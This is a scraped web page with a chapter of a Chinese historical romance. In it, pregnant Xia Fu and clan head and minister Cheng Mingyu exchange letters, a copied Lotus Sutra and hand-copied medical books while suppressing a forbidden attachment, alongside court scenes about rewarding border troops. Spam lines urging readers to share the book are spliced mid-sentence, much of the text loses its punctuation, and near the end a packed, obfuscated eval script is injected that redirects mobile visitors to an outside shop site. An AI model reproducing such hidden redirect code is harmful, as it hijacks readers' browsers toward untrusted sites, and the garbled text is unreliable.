十五元宵节。
这一日夏芙并未出门。
害喜反应愈重,夏芙不敢在人前露面,赶好婆母四太太不在弘农,她越发不必走动,安心在听雨阁养胎,周氏每日上午照旧陪她片刻,回去料理族务。
夏芙独自在书案翻看医书,五册医书已大致读完,该摘录的笔记也已抄录,陆陆续续开始整理方子。
如此,转移注意力,心里能好受些,也不必为那人牵肠挂肚。
午时,伏在炕床边恶心不止,这时,文宁捧着个匣子自外间疾步踏入。
“二奶奶,京城来信了。”
夏芙愣住,揪着帕子擦去唇角的水渍,怔怔张望她,“谁的信?”
是孟姐姐的来信,还是...他?
文宁飞快打开匣子,将一个精致的金栗封递过去,“家主的信。”
又惊,又喜。
夏芙赶忙接过,拨开封口,取出里面的信笺来。
“金陵夏氏一案,业已办结,令妹已立女户,将议赘婚。勿忧。”
一行热泪滚了下来,夏芙捧着信啜泣不止,不知是为夏家案子办妥而喜泣,抑或是看到那手熟悉的字迹而悸动。
她本以为二人至此再无瓜葛,往后也难再闻他片言只语。没想到他到底还是放心不下,惦记着她为夏家的事忧心,竟亲自写了信来。
上回她借口此事去探望他病情,他便以此事写信回告。
忍不住拂去眼泪,再度将信笺捧出来细瞧。
他的字怎能这般好看,字字有风骨,这样的字,方配写在名贵的金栗笺上.....咦,这是什么?
夏芙总算发现了右下角的那盏花灯。
那画中的花灯,半悬于纸笺之上,灯骨以淡墨勾成,纤劲有致,薄绢疏疏洒着碎金,更别致的是,灯面上还细细描了一幅美人面,因灯面太窄,乍看容易忽略,可若细看,不过浅浅几笔,竟把美人婉约的神态都画了出来。
这得是何等高超的画技,方能在方寸之间,画出鬼斧之功。
一气呵成,实在不像是画的,倒像是刊印上去的。
偏生这样的金栗纸她也有,从不见纸绢底下有这样的刊印。
不会是家主画的花灯吧?
夏芙咧嘴一笑,心情好极。
这一日自是多吃了一碗饭,夜里躺在榻上辗转反侧。
夏家之事,他帮了大忙,如今又遥寄锦书,她难道就这么白白得他一份情?
做些绣活送去?香囊已赠,旁的绣活她又做不来,若当真眼巴巴送些帕子巾子之类,实在有纠缠不清的嫌疑,夏芙脸皮没那么厚,他端的是大公无私,回的是正务,她即便回信,也得体体面面才是。
很快夏芙想了个辙,他惯是担心
如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦
她疏懒懈怠,索性临摹一幅他的《法华经》,如此既回馈了他的心意,又辗转告诉他,他不在的日子,她从未荒废课业。
只是这册法华经,临摹起来并不容易,她又怀着孕,精力有限,只能写一会儿,歇一会儿,如此花了足足七日功夫,方临摹出完整的一册小楷来。
虽说不能与他的原稿相比,到底发挥出夏芙最好的水准,她写完,搁在一旁晾干墨迹,甚是满意。
正月二十三,京城程家巷。
程明昱照旧戌时初刻回到书房,下意识往邸报匣子瞟了一眼,只见捆着的布条不见其他,却还是将听雨阁的邸报解开来瞧,写得无非是夏芙日常起居,譬如今日吃了什么,胃口如何,可有害喜之症等等。
看得出来小娘子正在安心养胎,甚好。
没回信,也没什么。
程明昱合上匣子,开始料理公务。
夜里安寝前,抚了抚那条压摆,一言未发,阖眼入睡。
次日二十四,在政事堂办公,政事堂堂食是有规矩的,需几位宰辅同时在殿,方能摆宴,但凡中途有人离开,其余诸人需等他回来方能继续用膳,这个空档,不许任何官员谒见。
许多悬而未决之事,也常在这场堂食中议定。
今日桑相公边吃边提起边军犒赏一事,“陆国公递上来的折子,诸位看过不曾?
陆国公陆昶是皇帝拜把子的兄弟,金山堡一役后,是他力挽狂澜奔赴北境,扼住北齐南下的步伐,皇帝登基之初,遭遇太后层层逼压,若非陆昶,国玺险些被太后扣住,此人现如今是军中第一人,性情跋扈,不大好惹。
前段时日,北齐与大晋在边关时有摩擦,陆昶麾下的将士立了个不大不小的功勋,陆昶自然寻政事堂讨要封赏,且金额不小,只是国库并不充裕,几位宰辅十分为难。
海相公照旧打起太极,“我看过了,依照陆昶的数额给,自然不行,可也不能不给,若是寒了边关将士之心,下回北齐来了,谁去上阵杀敌?
桑相公问起对面的康相公,“康大人以为呢?
“不给。康相公毫不犹豫否决,“将士以保家卫国为天职,素日里将士们冬衣不缺,军饷照发,何以立了个不大不小的功勋便要来讨赏,没得惯坏了他,助长边军骄悍的气焰。
倒也言之有理。
桑相公一时无法回他,瞥向程明昱,“子昭可有良策?
“投票吧。
政事堂有规矩,重大朝务均四人全票通过,非重大朝务,三人通过即可。
这件事不算大事。
几位宰辅吃吃喝喝的间隙,匿名投票,最后三票过,一人弃权。
弃权的
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
那人是海相公无疑而其余三人...相视一眼难得达成一致意见。
康相公笑起来指了指桑相公与程明昱“只当首相与子昭今日要为难我呢。”
诏书封驳回枢密院陆昶气的跳脚拔腿赶来御书房告状。
一进殿便将苦水一倒“陛下此战功勋虽不甚大却打得十分艰难尤其赶在北齐与大晋即将议和的当口能赢下这一阵算是给朝廷挣了脸面不赏说不过去您得为臣做主。”
皇帝不由得苦笑“你是不知朕这个家难当啊国库空虚宰辅们也为难别急容朕想想法子。”
御书房有个窍门
皇帝先把陆昶给打发了立即召见程明昱。
程明昱很快赶来御书房。
做皇帝的人尤其擅长演戏方才在陆昶面前得为宰辅诉苦到了程明昱这自然也得替陆昶说话
“朝廷议定今年下半年与北齐开关互市谈判事宜朕记得是由你负责陆昶此战也算是为你掠阵政事堂一口封驳枢密院请功的诏书你让朕如何安抚前线将士?”
程明昱深看他一眼不疾不徐拱袖道“陛下战士必须安抚但不是非要用银子安抚。”
“哦?”皇帝神色一亮立即起身绕出御案“卿这是有良策?”
就知寻程明昱准没错。
这样的世家第一人谁能不爱。
程明昱正色回道“陛下此役功勋说大不大说小不小倘若应了陆国公之请往后天下都督府、太尉府均效仿之边将坐大朝廷难安。”
“此为国士之言朕深以为然你接着说。”
“然也不能不赏否则往后无人效死。”
“没错。”皇帝只觉他每句话说到自己心坎上遂倾身而问“所以卿的对策是?”
“金山堡一役后军中将士匮乏战力不够。故而臣以为不给赏银准立功将士举荐家中一子弟入军任职一为充实边军稳固防线二则这些入职的将士均给分一亩薄田得一份军饷亦可免除家中徭役不比赏银来的更实在?”
从军也论出身朝廷下旨征兵与举荐入军待遇是有差别的后者显见比前者地位要高将士们对着这样的赏赐该是喜闻乐见。
“妙计!”皇帝豁然开朗连笑三声“还是程卿奇思妙想总能为朕分忧。就依你的办。”
“如此臣这就汇同枢密院拟旨。”程明昱待要告退
“等等。”皇帝突然抬手拦住他顺势握住了他手腕。
程明昱见皇帝姿态突然如此亲近颇觉不妙“陛下还有何事吩咐?”
皇帝抚了抚鼻尖轻咳几
如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦
声,“是这样的,大后日便是太皇太后冥诞,老人家生前最爱你的书画,朕便厚着脸皮,寻卿讨要一幅,祭于太皇太后灵前,如何?”
程明昱瞟他一眼,慢慢将衣袖自皇帝掌心抽离,往后退开几步行了大礼,“回陛下,臣早已封笔,既不作画,也不习字,并无画作可献。”
皇帝急了,这狐狸分明是看出他为明澜讨要,故意寻的借口,“哎哎哎,新的没有,旧的还能没有?实在不成,你家纸篓子的废作,给朕寻两幅也成!”
程明昱面不改色,“真没有。”话落,往后连退三步,快步离开。
“你!”皇帝指着他背影,气得拂袖,与身侧的曹内侍怨道,“大伴,这画作没讨得,朕如何给明澜交差?”
曹内侍倒是见多不怪,笑道,“陛下莫恼,下月公主殿下寿诞,孔驸马已在坊间放话,愿重金求购程相手作,以贺公主芳辰。”
说到这位孔驸马也是位能人,分明恨程明昱恨的要死,偏为了讨公主欢心,为求再续前缘,竟舔下脸来,出此下策。
听得皇帝哭笑不得。
“程明昱如今鳏居在府,朕有心成全明澜,今日来看,怕是无望了。”
程明昱这厢离开明华殿,大步往政事堂方向去,于午门前的丹樨处,撞上尚未离去的陆昶。
陆昶见着程明昱远远朝他一揖,“请程相安。”
陆昶虽跋扈嚣张,对着曾被北齐刀斧加身而不退的程明昱,却是佩服得紧,在他跟前素来敬重。
程明昱回了一礼,见他牵着个稚儿,含笑问,“这位可是小世子陆栩生?”
但见一小小少年,身量未足,却十分笔挺地站在陆昶身旁,眉宇自有一股凛然之气,比其父看着还有架势。
陆昶拉着儿子,往前一指,“栩儿,快些给程大人请安。”
小小的陆栩生,一板一眼向前,朝程明昱鞠躬,“晚辈见过程伯伯。”嗓音也极为青嫩。
程明昱目露温煦,朝他颔首,随后问陆昶,“小世子今年方三岁吧?”
“可不是?三岁的年纪,却有了旁人五岁的个子,今日带他特意等在此处,是想请程相通融,可否容小儿去府上族学就读?”
程明昱道,“有何不可?通过族学夫子的考核,入学便是。”
陆昶大喜,再度作揖,“陆某代栩儿谢程相大恩。”
“言重了。”
“对了,程大人,在下还有个不情之请。”
“陆国公请讲。”
“咳,是这样的,内子出身琅玡王氏,素来敬重程相人品,对程相书法是向往不已,过几日便是内子生辰,我这不,厚着脸,想求程相一幅墨宝,以慰夫人敬仰之心,不知程相,赏脸
听说看这本书的人都是很幸运的,分享后你的运气会更棒
否?”
程明昱拢着袖无语凝噎每日朝他求墨宝的没有十人也有八人上至皇帝下至群寮借口大同小异听得耳朵都起了茧。
他神色纹丝不动“陆国公海涵在下已多年不着笔墨。”
说完慨然一礼越过他离开。
陆昶目光跟随他调转指着程明昱清拔的背影吩咐陆栩生
“儿求程相墨宝的重任便交给你了有生之年你可得叫你娘如愿啊。”
陆栩生看了爹爹一眼无语离开。
程明昱回到政事堂便将方才之事与三位相公商议三人均无异议这边吩咐枢密院拟折子上奏忙到酉时离开官署区登上马车便问
“弘农可有信笺送来?”
君山伺候他喝了茶回道“小的申时三刻离开府中来接家主尚未得到消息。”
程明昱便不说话了按着眉心闭目养神这一下竟给睡过去了也不知睡到何时听得外间传来大管家的嗓音
“家主家主听雨阁来了信!”
程明昱倏忽睁开眼飞快撩开车帘但见大管家喜滋滋捧了一个册子递过来程明昱二话不说接过打开一瞧赫然是她临摹的一卷法华经。
一眼望去没看出任何不足之处只觉一股秀美的书卷气扑面而来。
进益了进益了。
回到书房自是爱不释手。
再度细看当然能看出些许笔力不足之处下意识要提笔批复然程明昱却突然顿住竟是舍不得在这样一幅完好的书作上添上任何多余的一笔。
缓缓搁下册子抬手摁在眉心。
难怪七日没有动静原来是临摹小楷来了怀着孕却写出如此端正的书法可见吃了不少苦。
他总该予以嘉奖。
吃的穿的她不缺。
缺什么呢。
程明昱忽然想起夏芙打算编纂医书一事立即吩咐君山“将藏书阁的书目取来。”
又打书目里挑出于夏芙有益的两册古籍让君山寻来。
皆是孤本依照藏书阁的规矩不能外借。
无妨。
他抄给她。
程明昱公务繁忙抄完一整册书得费不少时日。要把完整的一册送到她手里还不知何时。她素来娇气久久没收到他的回信
夏芙这边自将那册法华经送去京城心里便巴巴的每日总要往文宁多看几眼恨不得从她身上挖出几封回信来才好。
正月三十这一日傍晚夏芙总算收到了程明昱的回匣。
小心翼翼捧着搁在桌案打开来瞧赫然是三十来页书法这回用的是小楷中的行楷其字迹精彩飞动尚在正楷之上
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
撇捺之间,仿佛风过竹林,飒飒生韵,浑然天成中藏着千锤百炼的功夫。
绝无仅有的书法。
让人叹为观止。
家主送这些来,莫不是叫她临摹?
等等,她竟只顾着看字,不曾发觉这分明是一册医书呀。
夏芙懊恼地捂住脸,为自己的不争气而咋舌。
花了一个时辰,将之读完,显见这册医书未曾抄完,这么说,接下来她还有机会收到他的回信。夏芙每日里有了期待,脸上的笑容也显见地多了。
当然不能干等着,他既为她抄书,必是盼着她认真研读医书的。
夏芙边读边做摘录。
如此这般,两月工夫下去,程明昱两册书已抄完,而夏芙这边也整理出了女科千金方的初稿。至于程明昱的抄本,在夏芙眼里比孤本还要珍贵,小心谨慎存放匣盒里,时不时拿出来翻一翻,聊以慰藉。
头三月最难熬的孕期,就这么不声不响度过。
四月初八,最后一份初稿送去京城,夏芙倚在廊柱出神。
暮春的庭院里,海棠落了一地,风卷着残瓣从回廊下掠过,带来若有若无的香气。
怀孕已四月有余,小腹显见隆起,夏芙唯恐旁人看出端倪,再也不敢出门。
池塘里,新生的荷叶细小如铜钱,刚刚探出水面。让夏芙回想起,也是今日,去年的四月初八,她在长房后花园初见他,至今已整整一年。
最后一回见他在去年腊月二十一,离着今日,足足有四月十七日。
竟只过去了四个月么。
夏芙抱臂,笑出声。
四月算什么,往后还有四年...十四年,甚至四十年....
文宁在这时,自里屋出来,拿着一件披风给她罩上,“外头风大,奶奶进屋歇着吧。
隐约瞥见夏芙眼眶生红,深知她心事,悄声道,“您别急,家主此番去了营州,说是要一月方归,待回来必定给您回信。
“没准,能赶在端午回来呢。
夏芙笑了笑,拂去眼角的泪,转身进屋,“是,我也得做几个艾草香囊,回头送去各房,给嫂嫂们辟邪。
到了月中,也自大伯母周氏口中得知了他的消息,说是奉命前往边境与北齐洽谈,归期不定。
朝务为要,夏芙不可能抱怨什么,默默听在心里。
身子日重,夏芙胃口也大好,每日里总要吃上四五顿,周氏不可能总待在弘农,三月里三奶奶杨氏过了门,到四月底,程明同也将刘氏娶进了屋,两位太太甚是忙碌,交替着回弘农照料夏芙。
到端午前,四太太还没回弘农,周氏便赶回来陪夏芙。
这一日午后,悄悄将夏芙接了来,婆媳二人在碧
恭喜你可以去书友们那里给他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17751660|209432||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
们剧透了,他们一定会“羡慕嫉妒恨”的
纱橱内说话。
她抚着夏芙的腰身,“瞧瞧,还细得跟柳条似的,若不瞧小腹,看不出你怀着孕。
女人家都盼着身形苗条好看。
不过夏芙不在意,她又没男人,在意这些作甚。
“我盼着多吃些,好叫孩儿长个子。
“也不能吃得太狠,胎儿过大,不利于生产。
此事周嬷嬷早吩咐过她。
“您老放心,我有分寸。
歇了两刻钟,外头来了客,夏芙便道,“您见客吧,我去后花园子逛一逛。
周氏唤了文宁并两个大丫鬟跟着,“等会来用晚膳。
“好勒。
荣华堂后罩房出来,有一条廊道,通往程明昱书房,过去夏芙自这里,越过程明昱书房后的夹道,便可抵达听雨阁的地界。
夹道再往北有一处小花园,自夏芙有孕,周氏将此地圈为内花园,平日里不许外人来,只供夏芙一人闲逛。荣华园角门外,有一条石径通往此处,再往东亦砸出一扇小门,通往听雨阁。自小门打通,夏芙再也不走程明昱书房后面的夹道,只打此处来往荣华堂与听雨阁。
小花园里架着一个秋千,日头不晒,夏芙在文宁的搀扶下,捋了捋杏黄的裙摆,坐在秋千补觉,文宁见院子角落生了一丛鱼腥草,与夏芙道,“二奶奶,我拔一些鱼腥草回去,赶明烦您给我配个方子,我送给我姥姥吃。
“成。
余下两人,一人见夏芙口渴,折回荣华堂取水来,一人挎着个篮子采花儿,闲来无事,竟也哼起了小曲。
园子里幽静,夏芙听着她悠扬的腔调,不知不觉睡过去,不一会丫鬟折了回来,快步来到夏芙跟前,小声道,“二奶奶,奴婢方才隐约听得一句,说是家主回来了。
夏芙一惊,猛地睁开眼,心口蓬乱的厉害,很想确认一句,到底忍住了。
一月过去,也不知那份初稿,校对得如何?
他是否携了回来。
又怎样?
吩咐文宁送来即可。
她又在指望什么呢。
夏芙压下念头,张望蓝空,继续听小丫鬟哼曲。
“哟哟,快来,这儿有只七彩蝶,来来来,捉了它,带回听雨阁去。
三人闻言顿时起劲,纷纷丢下手中活计,寻来扑网,一时喊左一时喊右,追着一群蝴蝶乱舞。笑声骂声,伴随初夏的暖意竟是越墙而去。
一墙之隔,程明昱负手立在夹道处。
深深的夹道有如一条天沟,两侧高墙将天光裁成窄窄的一线,落在他肩上似有清霜。墙内语笑喧阗,墙外寂静如斯。
手中捏着一枝明黄的夏花,这是他自书房后院花盆里采摘而来,不知不觉追到此
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
处。他分明猜到她就在此间,可细听,只闻得几个丫鬟嬉笑的声语,不见她半分动静。
“二奶奶,您管管文宁,她方才踩了我一脚。
“踩你怎么着,谁叫你笨,也不知躲开,害我扑了空。
可那位二奶奶,只无声笑着,并未干涉。
不见其人,不闻其声。
她已怀胎五月有余,当已显怀。
前段时日给她裁制了几身夏裙,这样热烈的夏日,适宜穿明媚轻盈的裙衫,她穿得是杏黄色那身点桂挑线裙,抑或是繁复艳丽的十二幅湘裙?
该是前者。
他笃定她穿的是前者。
墙那头闹得正欢。扑网的破风声、踩过草叶的窸窣、丫鬟们叽叽喳喳的叫嚷,混成一片滚烫的声响。他立在夹道里,指腹无意识地摩挲着花茎上细软的绒毛,那一点微微的痒,像是从墙那头一路传过来的。
终于,自一片笑声中,他听见了一声细咳。
很轻,很短,像是从沸水里抽出来的丝,还没来得及成形,便被喧声吞没了。
他眉峰一紧,长指骤然顿住。
夏芙正饮了一口水,被呛了一下,眼看文宁等人越追越有兴致,不禁摇头失笑。
恰在这时,墙外传来突兀的一声,“家主。
夏芙心弦猛地一揪,下意识往高墙望去,仿佛意识到了什么,不由得下来秋千,往高墙走来。
她清楚地知道一墙之外是程明昱书房后的夹道,所以,他此时此刻,就在墙外吗?
泪水不可控地自眼眶滑出,夏芙沿着墙根,脚步凌乱地来回走动,目光灼灼地攀着墙往上爬,然而眼前的高墙,布满青苔,如一幅巨幕横亘在跟前,青扑扑地压下来,将她与他隔绝得严严实实。
这堵墙隔着的是堂兄与隔房弟媳的身份,隔着的是礼法森严,是一纸契书,是程氏家族百年的信誉。
程明昱手中那支花到底没有送去夏芙手中,夏芙也不曾去荣华堂用晚膳,而是独自回了听雨阁。
案前,已摆放着那册被校对过的初稿。
无疑是他遣人送来的。
她视线自初稿,移至窗外那扇月洞门,从日落,坐到天黑。
她有多期盼他的回信,心底是清楚的,堪称茶饭不思,牵肠挂肚。
再然后呢,盼着见面,盼着...更进一步?
夏芙笑出声,泪花肆意,抚了抚脸,将泪痕别去。
他是能够娶她,还是她能嫁他?
都不可能。
程氏家族掌门人,当世第一君子,当朝最年轻的宰辅,与隔房弟媳苟合在一处,光想一想,便觉天雷滚滚,唾沫如云。
那一纸契书,从一开始便昭告了他们的结局。
别无出
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
路。
不能这样下去。
*
程明昱立在窗前看着暮云一点点褪去颜色到视线彻底被黑暗覆盖犹自一动不动。
身子早已站僵手中那尾金雀花也已枯萎他深知自那盏花灯画下去局面便有些失控每日总盼着能得一点她的消息收到她的回信
过去只是通一些“必要”的来往。
那么此时此刻呢。
急迫地想迈出那扇小门跨过九孔石桥去到那个午夜梦回之地又算什么?
不能让局面继续失控。回到桌案落座一夜枯坐至天明。
醒来朝阳绚烂平伯照旧送来一桌早膳管家们递来一堆账目程明昱闭了闭酸涩的眼起身沐浴更衣让自己清醒几分回到案后。
先用过早膳再行批阅文书。
分明脑门如炸他神情却仍平静眉目如常乍然看不出什么不同。
巳时三刻书僮文旭进了屋来对着那张泛着冷锐之色的面孔禀道
“家主夏夫人今日到了藏书阁。”
夏芙举动时刻来报已成了沐心堂心照不宣的共识。
程明昱神情微动。
也就是说此时此刻她就在隔壁不远无高墙阻隔过一条甬道便可得见。
已多久没见着她了?
五月又十四日。
然程明昱却坐着没动眉目垂下继续翻阅手中账目点了点头不再说话。
一刻钟后文旭再报
“夏夫人离去了借走了两册医书。”
她在编纂手札并不奇怪。
“她还阅过一卷诗书。”
程明昱抬眸看向他“何书?”
“大儒王奕先生所写的那册《秉烛游》。”
程明昱一愣“去取来。”
“等等我亲自去。”
日头热烈地自树梢投下一地斑驳年轻的家主玉带束发一袭青袍款步自门外跨进当然无人搜他的身众人恭敬朝他行礼甚至不敢出声打搅看着眉目静然的家主迈进了藏书阁。
藏书阁一楼开间极大靠窗的一隅辟出一地供书僮抄书此时数张长条案后空无一人独一卷诗书被翻开书角被风拂动未曾合上一页书签搁在其中签上自有摘抄的字迹。
程明昱取来看只见上方写着
“君子有所守守其大者则小者不能移。”
何为大一族之兴衰一国之安虞。
何为小一己之私。
眉目一怔好似有柔
你的朋友正在书荒,快去帮帮他吧